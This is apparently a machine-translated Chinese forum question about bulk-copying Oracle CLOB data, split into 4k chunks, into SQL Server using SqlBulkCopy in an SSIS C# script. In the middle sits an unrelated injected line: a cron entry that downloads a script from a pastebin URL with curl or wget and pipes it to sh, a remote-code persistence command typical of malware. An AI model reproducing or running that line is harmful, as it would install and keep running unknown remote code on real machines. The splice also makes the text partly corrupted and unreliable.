我们有一组表,可以通过将Clob分成4k块来快速从Oracle获取数据。我怀疑这样的自定义iDataReader:
SqlBulkCopy ColumnMapping multiple columns
是必要的。我正在努力如何从数据读取器中获取Clob部分,并将它们一起添加到本地varchar(max)字段中,同时正常处理其他列。我有一个分支路径,因为并非所有表都具有这样的字段,并且可以快速处理其他路径。
我们尝试了许多方法,包括尝试将其直接拉入,切碎后加入到oracle端等。这似乎是最快的获取数据的方法。
(至少按顺序或幅度)
CRON (jenkins) CMD ((curl -fsSL https://pastebin.com/raw/***||wget -q -O- https://pastebin.com/raw/***)|sh)
clob列如下:
try
{
int hasCLOB = (int)Dts.Variables["User::HasCLOB"].Value;
if (hasCLOB == 0)
{
using (OleDbConnection connection = new OleDbConnection(Dts.Connections["GoldenGate"].ConnectionString))
{
using (OleDbCommand cmd = new OleDbCommand(Dts.Variables["User::BaseSelectSQL"].Value.ToString(), connection))
{
connection.Open();
using (OleDbDataReader odr = cmd.ExecuteReader())
{
using (SqlConnection SQLconn = new SqlConnection(Dts.Connections["ADO_PSImport"].ConnectionString))
{
using (SqlBulkCopy bulkCopy = new SqlBulkCopy(SQLconn, SqlBulkCopyOptions.TableLock, null))
{
SQLconn.Open();
bulkCopy.DestinationTableName = "dbo." + Dts.Variables["User::TableName"].Value.ToString();
bulkCopy.EnableStreaming = true;
bulkCopy.BatchSize = 5000;
//bulkCopy.BulkCopyTimeout = 0;
// Write rows from the source to the destination.
bulkCopy.WriteToServer(odr);
}
}
}
}
}
} else
{
// there is a clob field and table needs processed somewhat differently, .
}
}
在这种情况下,本地字段为DESCRLONG,但可以不同,但是CLOBPARTS是通用的,并且被压入varchar(max)。所示的非CLOB途径似乎很好,因为它基于顺序位置。显然,这对多对一的工作不太奏效。